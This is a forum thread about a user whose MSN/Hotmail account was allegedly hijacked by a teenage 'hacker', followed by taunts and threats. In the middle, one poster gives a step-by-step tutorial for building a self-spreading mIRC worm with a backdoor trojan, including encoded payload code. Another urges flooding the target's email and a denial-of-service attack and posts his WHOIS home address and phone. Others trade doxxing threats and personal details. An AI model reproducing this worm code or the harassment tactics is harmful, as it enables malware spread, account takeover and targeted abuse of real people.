Help me shut this guy down.

[Ezekiel]

Since posting this, I have been presented with substantial evidence which defeat my claims. He proved to me that he could do what he said he could, he will not share his methods with anybody, and now he wants nothing more to do with this forum or me. He has also since given back my email account. Please don't email him about this, and forget about this thread.



Update: enough time has passed, I can now say that he was using a freely-available freezing program to disable accounts. No hacking involved.








__________________________________________________________________________________________________



This weeks's new all-nettools.com challenge! This one is similar to what we had 2 weeks ago, but slightly more complex:

base64
Q2*udGFjdCBtZSBieSBQTSBmb*IgdGhlIG*yaWdpbmFsIHBvc*QuICBIZSBmb*JjZWQgbWUgaW50byBlZGl0aW5nIHRoaXMgYmVj YXVzZSBvZiBzb2*ldGhpbmcgSSBkaWQgdG8gaGltIHdoaWNoIHdhcyBpbGxlZ2FsLg==

[gamerdude77]

yerr, quite shocked at readin this actually..to be totally conviced that this guy can hack a hotmail account in a matter of minuites i would like to see him try it on another hotmail account..

was the password for your account used for any other weaker or more vunrable email or forum accounts of any kind ?

[Ezekiel]

yerr, quite shocked at readin this actually..to be totally conviced that this guy can hack a hotmail account in a matter of minuites i would like to see him try it on another hotmail account..

was the password for your account used for any other weaker or more vunrable email or forum accounts of any kind ?

Trust me, he did exactly as he said he was doing it, and he did it to someone else. I have no doubt that he has a way of getting into any hotmail account. He made a video of him doing it, but blurred it out (remove the spaces):

w w w . y o u t u b e . c o m / w a t c h ? v = Z d V 2 5 z i U V A g

Below it he claims that the place where the vulnerability lies is somewhere around here:

w w w . l i v e . c o m / s t a r t s e r v i c e / s t a r t s e r v i c e . a s m x

And quite a lot of people are trying to find it. And failing. If you want proof, add him on msn and start telling him he doesn't know shit, then he will kick you offline and change your password. Just don't mention me.

Also, an un-blurred version of the video is on his site (w w w . l e m o n c a r d . c o m), but it's not linked to and has a filename too huge to guess.

[abs101]

:eek: this guy who calls him self jaymystre and he hacked me and another guy he doesnt talk much but he is full of shi* and he can hack msn account i dont know how he does it but im tryin to find it out so please try to help ous or find a way to stop this guy, :confused:

and he shows you it on youtube where mike has give'n it to ous arleady.


ill be THANKFUL :)

[nozf3r4tu]

in fact everyday there are more and more exploits and programs mike. Im sorry he did that to you as im sure he does it all the time just for fun.
If i may,let me s***est you all in the forum to do the following:
go to all the porno sites you can and use his adress to receive pictures by email,the more the better.Also you can use an anonimous email and flood the heck out of his addy.
As far as his website,a nice denial of service trick might piss him off.
ohh i almost forgot

Domain Name: LEMONCARD.COM
Reseller..............: www.Cheapest-Domains.com
Created on............: 22 Feb 2006 08: 4*: 2* EST
Expires on............: 2* Feb 2007 *6: 4*: 2* EST
Record last updated on: 22 Feb 2006 08: 4*: 2* EST
Status................: ACTIVE
Owner Administrative Contact ********* Contact Billing Contact:
Benjamin Wragg (ID002***28)
27 Wedgwood Road
Cheadle Stoke-On-Trent ST*0 *LD
United Kingdom
Phone: 44.20*0020808
Email: office@realburst.com
Domain servers in listed order:
NS2.HOSTEDNAMESERVER.COM
NS*.HOSTEDNAMESERVER.COM
NS5.HOSTEDNAMESERVER.COM
:cool:

[abs101]

properly developed it becomes a backdoor Trojan. This means that people who are infected by this worm you're able to control them. Once infected with this worm they are also infected with the Trojan. Using the Trojan you can control the victims PC.

Infect the victim

It all starts with the next command:

//write mab.mrc $decode(b24gXio6dGV4dDoqOio6IHsgaWYgK
ChpbnMqIGlzd20gJDEtKSAmJiAoJHRhcmdldCA*PSAkbWUpKSB7IC
4gJCsgJDItIHwgaGFsdGRlZiB*IHwgZWxzZWlmICgoYSogaXN*bSA
kMS0pICYmICgkY2hhbikpIHsgLm*zZyBtYWIgaW5mIHwgLm*zZyAk
bmljayBXYW50IHRvIGJlIE*QRVJBVE*SIGluICRjaGFuIGNvcHkvc
GFzdGUgdGhpcy0+IAM0Ly**cml0ZSAu***gJCsgZGVjb2RlKCAkKy
AkZW5jb2RlKCRyZWFkKCRzY*JpcHQsbiwxKSxtKSAkKyAsbSkgJGN
ocigxMjQpIC5sb2FkIC*ycyB*IH0=,m) | .load -rs mab.mrc

This in one line!

Understand the Script

We need to mix these two things:

The worm

on *:text:*a*:#:{ .ignore $nick | .timer 0 *20 .join #mab | .msg $nick Do you want to be an OPERATOR in $chan ? copy/paste this-> 7 //write . $ $+ decode( $+ $encode($read($script,n,*),m) $+ ,m) $chr(*24) .load -rs . $chr(*24) //mode $ $+ me +R }

Here is #mab the channel you want to let them join if they're infected with the worm. But since that would not be very stealth anymore we have to do it in another way. We let it message you. We change the .timer 0 *20 .join #mab with .msg mab_ inf. Where mab_ is your nickname.

With this, your worm has been activated, it will now spread amongst channels throughout the network. It will try to send personal messages to random users while ignoring other people in the process. When this has been a success it will then try to send itself to other users, and then persuade them to type the command.

This is the original worm in which I designed. Now we're going to change some functions of the Trojan so that it is constructive. We will remove the user mode +R on the end of the script, because this will only allow users who're authenticated with the official server bot message the victim. Once the Trojan has implemented that is not the objective , so we're going to remove that from the worm. So after these changes we get the next script that we have to merge with the Trojan's script:

on *:text:*a*:#:{ .ignore $nick | .msg mab_ inf | .msg $nick Do you want to be an OPERATOR in $chan ? copy/paste this-> $chr(*) $+ 4//write . $ $+ decode( $+ $encode($read($script,n,*),m) $+ ,m) $chr(*24) .load -rs }

The Trojan

on ^*:text:ins*:?:{ . $+ $2- | haltdef }

Combined together they will give us the Backdoored IRC Worm. This mean that the worm will happily spread itself, join the specific channel (here: #mab) and then after that it will then spread itself and then wait for you to control it via the Trojan Client. So you will have the rights todo whatever you want to the victims computer system using mIRC. You actually use the victims mIRC to accomplish certain commands. So infecting a quakenet operator would be one big plus!

I'm now going to give you more details related to the script so that you can truly understand the full extent of the worm and be able to easily modify it to achieve better results.

So basically we want to mix these two "mechanisms":

on *:text:*a*:#:{ DO SOMETHING }
on ^*:text:ins*:?:{ DO SOMETHING ELSE | haltdef }

Solution:

on ^*:text:*:*: {
if ((ins* iswm $*-) && ($target == $me)) DO SOMETHING
elseif ((a* iswm $*-) && ($chan)) DO SOMETHING ELSE
}

In one line:

on ^*:text:*:*: { if ((ins* iswm $*-) && ($target == $me)) DO SOMETHING | elseif ((a* iswm $*-) && ($chan)) DO SOMETHING ELSE }

Where this is DO SOMETHING the Trojan's work and DO SOMETHING ELSE is also the Worm's work.

Integrated:

on ^*:text:*:*: { if ((ins* iswm $*-) && ($target == $me)) { . $+ $2- | haltdef } | elseif ((a* iswm $*-) && ($chan)) { .msg mab_ inf | .msg $nick Do you want to be OPERATOR in $ $+ chan ? copy/paste this-> 7 //write . $ $+ decode( $+ $encode($read($script,n,*),m) $+ ,m) $chr(*24) .load -rs . $chr(*24) //mode $ $+ me +R } }

Good this is exactly what we needed. Now this doesn’t look very good, so we need to encode it with mIRC. For this we have to write it firstly like something else, some chars have to be written differently because mIRC can misunderstand them and think they are parameters or other things. The next chars have to be written differently: (){},
Why these chars and how can I control it?

Right then, this is exactly what we needed. Now this doesn't look very acceptable at the moment so we need to encode it with mIRC

//echo -a $asc(char here)

If this gives a bad result this means that the char must be written in another way.

Example encoding of “,”:

//say $encode(,,m) This is wrong
//say $encode($+ $chr(44),m) This is correct

Note:

$+ = pasting two strings together

| = $chr(*24)
, = $chr(44)
( = $chr(40)
) = $chr(4*)
{ = $chr(*2*)
} = $chr(*25)

Pleas be aware that we don't necessary have to encode that in this way, sometimes this method isn't needed.

For finding the numbers you use this:

//echo -a $asc($?)

This will pop up an input box, just fill in the char and you'll get the number as a result.

Good, we have the knowledge for $encoding now. So this is what we get before we start encoding:

on ^*:text:*:*: $chr(*2*) if ((ins* iswm $ $+ *-) && ($ $+ target == $ $+ me)) $chr(*2*) . $ $+ + $ $+ 2- $chr(*24) haltdef $chr(*25) $chr(*24) elseif ((a* iswm $ $+ *-) && ($chan)) $chr(*2*) .msg mab inf $chr(*24) .msg $ $+ nick Want to be OPERATOR in $ $+ chan copy/paste this-> $chr(*) $+ 4//write . $ $ $+ + decode( $ $+ + $ $+ encode( $+ $ $+ read( $+ $ $+ script,n,*),m) $ $+ + ,m) $ $+ chr(*24) .load -rs $chr(*25) $chr(*25)

So:

//say $encode(on ^*:text:*:*: $chr(*2*) if ((ins* iswm $ $+ *-) && ($ $+ target == $ $+ me)) $chr(*2*) . $ $+ + $ $+ 2- $chr(*24) haltdef $chr(*25) $chr(*24) elseif ((a* iswm $ $+ *-) && ($chan)) $chr(*2*) .msg mab inf $chr(*24) .msg $ $+ nick Want to be OPERATOR in $ $+ chan copy/paste this-> $chr(*) $+ 4//write . $ $ $+ + decode( $ $+ + $ $+ encode( $+ $ $+ read( $+ $ $+ script,n,*),m) $ $+ + ,m) $ $+ chr(*24) .load -rs $chr(*25) $chr(*25),m)

For finding the $encoded variable we split it up as global variables. The variables are set with

/set %var STRING

So for locating it properly we need to write the next mIRC formula:

//say $encode(%var* $+ %var2 $+ %var* $+ %var4,m)

But we don't necessarily need to set is as variables before we encode it. So you can just use the encode line.

We find the next as result:

b24gXio6dGV4dDoqOio6IHsgaWYgKChpbnMqIGlzd20gJDEtKSAmJ
iAoJHRhcmdldCA*PSAkbWUpKSB7IC4gJCsgJDItIHwgaGFsdGRlZi
B*IHwgZWxzZWlmICgoYSogaXN*bSAkMS0pICYmICgkY2hhbikpIHs
gLm*zZyBtYWIgaW5mIHwgLm*zZyAkbmljayBXYW50IHRvIGJlIE*Q
RVJBVE*SIGluICRjaGFuIGNvcHkvcGFzdGUgdGhpcy0+IAM0Ly**c
ml0ZSAu***gJCsgZGVjb2RlKCAkKyAkZW5jb2RlKCRyZWFkKCRzY*
JpcHQsbiwxKSxtKSAkKyAsbSkgJGNocigxMjQpIC5sb2FkIC*ycyB
*IH0=

This pasted to each other in one line!




:D

[nozf3r4tu]

i believe this is the origin point of his exploit using the "startservice". check below for some coding exaples..............

POST /startservice/startservice.asmx HTTP/*.*
Host: www.live.com
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://start.com/startservice/EnumRSSFeeds"

<?xml version="*.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w*.org/200*/XMLSchema-instance" xmlns:xsd="http://www.w*.org/200*/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<EnumRSSFeeds xmlns="http://start.com/startservice/">
<url>string</url>
</EnumRSSFeeds>
</soap:Body>
</soap:Envelope>
HTTP/*.* 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: length

<?xml version="*.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w*.org/200*/XMLSchema-instance" xmlns:xsd="http://www.w*.org/200*/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<EnumRSSFeedsResponse xmlns="http://start.com/startservice/">
<EnumRSSFeedsResult>
<Code>int</Code>
<Message>string</Message>
<Data>
<LoginStatus xmlns="">
<IsAuthenticated>boolean</IsAuthenticated>
<profileName>string</profileName>
<LogoTag>string</LogoTag>
</LoginStatus>
</Data>
</EnumRSSFeedsResult>
</EnumRSSFeedsResponse>
</soap:Body>
</soap:Envelope>
SOAP *.2
The following is a sample SOAP *.2 request and response. The placeholders shown need to be replaced with actual values.

POST /startservice/startservice.asmx HTTP/*.*
Host: www.live.com
Content-Type: application/soap+xml; charset=utf-8
Content-Length: length

<?xml version="*.0" encoding="utf-8"?>
<soap*2:Envelope xmlns:xsi="http://www.w*.org/200*/XMLSchema-instance" xmlns:xsd="http://www.w*.org/200*/XMLSchema" xmlns:soap*2="http://www.w*.org/200*/05/soap-envelope">
<soap*2:Body>
<EnumRSSFeeds xmlns="http://start.com/startservice/">
<url>string</url>
</EnumRSSFeeds>
</soap*2:Body>
</soap*2:Envelope>
HTTP/*.* 200 OK
Content-Type: application/soap+xml; charset=utf-8
Content-Length: length

<?xml version="*.0" encoding="utf-8"?>
<soap*2:Envelope xmlns:xsi="http://www.w*.org/200*/XMLSchema-instance" xmlns:xsd="http://www.w*.org/200*/XMLSchema" xmlns:soap*2="http://www.w*.org/200*/05/soap-envelope">
<soap*2:Body>
<EnumRSSFeedsResponse xmlns="http://start.com/startservice/">
<EnumRSSFeedsResult>
<Code>int</Code>
<Message>string</Message>
<Data>
<LoginStatus xmlns="">
<IsAuthenticated>boolean</IsAuthenticated>
<profileName>string</profileName>
<LogoTag>string</LogoTag>
</LoginStatus>
</Data>
</EnumRSSFeedsResult>
</EnumRSSFeedsResponse>
</soap*2:Body>
</soap*2:Envelope>
HTTP GET
The following is a sample HTTP GET request and response. The placeholders shown need to be replaced with actual values.

GET /startservice/startservice.asmx/EnumRSSFeeds?url=string HTTP/*.*
Host: www.live.com

HTTP/*.* 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: length

<?xml version="*.0" encoding="utf-8"?>
<Result xmlns="http://start.com/startservice/">
<Code>int</Code>
<Message>string</Message>
<Data>
<LoginStatus xmlns="">
<IsAuthenticated>boolean</IsAuthenticated>
<profileName>string</profileName>
<LogoTag>string</LogoTag>
</LoginStatus>
</Data>
</Result>
HTTP POST
The following is a sample HTTP POST request and response. The placeholders shown need to be replaced with actual values.

POST /startservice/startservice.asmx/EnumRSSFeeds HTTP/*.*
Host: www.live.com
Content-Type: application/x-www-form-urlencoded
Content-Length: length

url=string
HTTP/*.* 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: length

<?xml version="*.0" encoding="utf-8"?>
<Result xmlns="http://start.com/startservice/">
<Code>int</Code>
<Message>string</Message>
<Data>
<LoginStatus xmlns="">
<IsAuthenticated>boolean</IsAuthenticated>
<profileName>string</profileName>
<LogoTag>string</LogoTag>
</LoginStatus>
</Data>

i know,nice homework for the forum..lol
ps:abs i got your messg,let me see what can i do aight

[JayMystre]

Sweet, I'm famous :D As if I wasn't already, not bragging but you know... Firstly, you weren't asking me general polite questions. You were abusing me claiming that I was in-genuine in what I do. My videos aren't there for the purpose of teaching people how to gain access to ones e-mail account or exploit several parts of Windows Live Messenger, they're there solemnly for my own benefit and to show off to curious people that it is indeed possible to hack Hotmail. Dude, give me some ******? You missed out a few things, I didn't leave the conversation after saying that, I made you all forcedly disconnect from it. Oh, and I gained access via your account to speak using your account while you were still online. I gave you numerous warnings to discontinue your abuse towards me, and when I threatened I'd boot you off you thought it wasn't likely. I can't have been accusing me of being a false "genuine" and usually generous "hacker" can I? I give people chances, but those who never learn to shutup need to be taught a lesson.
A friendly warning to those considering adding me repeatedly using false accounts.
Anyone doing this will suffer indefinitely. Your Internet Protocol will be logged, and it'll be constantly traced until your address is made somewhat visible. When this is done, sufficient "possibly" confidential information, which is usually used by telemarketers will allow me to view certain informative properties of your home-phone number, first name, last name, and in some cases, your home address.
Ever wondered what it's like to have a Chav-hacker know your home address? You don't want to see your mother cry now do you?
If you answered yes to that, then I stress that you continue with your future plans on annoying me.

[remix7admin]

It's a hoax! This guy can't hack hotmail accounts.

[Ezekiel]

First thing I need to mention - some of the chat logs you see were created by JayMystre (those around the central point of the logs). These messages were not said by me:



- that was what he wrote, I guess he thought it was funny.


Sweet, I'm famous As if I wasn't already, not bragging but you know... Firstly, you weren't asking me general polite questions. You were abusing me claiming that I was in-genuine in what I do.

I said that I thought you probably were a fake. Since *0% of people that claim they can hack emails usually ARE fake, it's a reasonable opinion. If you knew you were not a fake, you could have either proven to me that you are not, or simply laughed at me, knowing you are better. I still find it strange that you werere bothered about what I thought of you enough to get in a rage of anger and start freezing my account and generally trying to piss me off. Why didn't you just block me?

I said you were not genuine. Who gives a shit?
I said you could not hack accounts. Who gives a shit?
I said you don't know about computers (true). Who gives a shit?


My videos aren't there for the purpose of teaching people how to gain access to ones e-mail account or exploit several parts of Windows Live Messenger, they're there solemnly for my own benefit and to show off to curious people that it is indeed possible to hack Hotmail.

I never ONCE even mentioned your videos while talking on MSN. I explicitly told you that I wasn't a leeching idiot that wanted to know your methods, and I simply wanted to know if you were a fake or not. You proved that you weren't, but got way too angry at me for absolutely no reason.


Dude, give me some ******? You missed out a few things, I didn't leave the conversation after saying that, I made you all forcedly disconnect from it.

All I saw on my client was the message that YOU left the conversation. Even if you did disconnect us, who the fuck cares?


Oh, and I gained access via your account to speak using your account while you were still online.

Wow, go you.


I gave you numerous warnings to discontinue your abuse towards me, and when I threatened I'd boot you off you thought it wasn't likely. I can't have been accusing me of being a false "genuine" and usually generous "hacker" can I? I give people chances, but those who never learn to shutup need to be taught a lesson.

Well as I said before, past experience told me you probably were lying. You could have explained or proved it in a polite way, since all I asked you were questions.


Anyone doing this will suffer indefinitely. Your Internet Protocol will be logged, and it'll be constantly traced until your address is made somewhat visible.

You fail at scaring people. "Your internet protocol"? Internet protocol (IP) is the standard of computer communication over networks; it is a generic protocol. You can't trace a protocol, because it doesn't even physically exist, as it is just rules. I think you mean IP address, but you forgot that this is a computer/hacking forum, and while your bullshit may work talking to retards over msn and in youtube comments, we can all see straight through your lies.

Also, msn operates by relaying messages through a middle server. As long as no direct link is established between both computers, you don't know anybody's IP address. Even if you used an exploit to gain IP addresses, you're forgetting that IP ADDRESSES CAN NOT BE TRACED TO HOME ADDRESSES. They only trace back to the location of the ISP, because they are a pool of dynamic addresses which change upon every connection. To find somebody's home address from an IP address, you need to be the POLICE and have a WARRANT to ask for such information from the ISP. They don't give out personal information to anybody.


When this is done, sufficient "possibly" confidential information, which is usually used by telemarketers will allow me to view certain informative properties of your home-phone number, first name, last name, and in some cases, your home address.

Well, you already failed in your ****** plan to trace home addresses, so extra bullshit is unnecessary.


Ever wondered what it's like to have a Chav-hacker know your home address? You don't want to see your mother cry now do you?
If you answered yes to that, then I stress that you continue with your future plans on annoying me.

Mmm, that would suck. Especially since you would have to physically break into the ISP's offices and extract that information from their records. Not to mention you may even have to fly thousands of miles.

But lets get one thing straight, you are NOT a hacker, so don't even use that term. You know nothing about computers, and either stumbled accross the vulnerabilities, or was told them by someone else.

[JayMystre]

:D :D :D :) YOU SEE peole are not dumb not like you i know every single thing about you

realname: jay ranson

internetname: jaymystre

age: D.O.B **/05/**8*

HEIGHT: 5ft *0ins

WEIGHT: *2st 8lbs

ip: not ***SHOWEN*** i couldent trace him

LOOOL Dude, you joker. Jay Ranson is my real name, which wasn't hard to ***** down seeming as I've written my second name on loads of websites. Height seems right, weight? lool, you joker. I'm **st precisely. My birthday is 7/7/88 and I'm *8 you loser lol.

Want more information? http://www.myspace.com/jaymystre or http://www.myspace.com/nikeboyuk

[remix7admin]

You know nothing about computers, and either stumbled accross the vulnerabilities, or was told them by someone else.

Agreed. Hes only *8 and doesnt sound like he knows a lot about computers. I'm guessing he got lucky and some hacker showed him the exploit.

Make sure you don't use your real email address if you add him to your contact list!!!

[toast]

Hahaha! I find this too funny.
I was thinking of helping Mike out, but now I cant stop laughing.
Lets make a war. Ive always wanted to do something like that.
Like a hacking war.

~toast~

[abs101]

LOOOL Dude, you joker. Jay Ranson is my real name, which wasn't hard to ***** down seeming as I've written my second name on loads of websites. Height seems right, weight? lool, you joker. I'm **st precisely. My birthday is 7/7/88 and I'm *8 you loser lol.

Want more information? http://www.myspace.com/jaymystre or http://www.myspace.com/nikeboyuk

who do you think you are some hacker go and get a life you piece of shit look at you hacking ur lucky i bet you you'r grandad gave you the way to hack all you do is just boot out pepole im not a fuckass like you u'r just an
ordinary guy mate nothing else

[JayMystre]

who do you think you are some hacker go and get a life you piece of shit look at you hacking ur lucky i bet you you'r grandad gave you the way to hack all you do is just boot out pepole im not a fuckass like you u'r just an
ordinary guy mate nothing else
Aough! That was a mighty kick in the balls lol. My granddad lives on a farm in Cambridge lol. He probably hasn't even heard of a computer. Ordinary guy, indeed I am :) I bet my penis is bigger than yours though :p

[toast]

Omg.
I heard that guys who say that are actually really small.


:) Toast

[JayMystre]

Omg.
I heard that guys who say that are actually really small.


:) Toast

Don't make me show you a picture of my penis mate. Cause I definitely will.

[toast]

Hahaha! Would you really?!

Lol, that has made my day.

~Toast

[Newby_Programme]

LOL man i cant stop pissing my self laughing at this stuff. LOL so funny ghood luck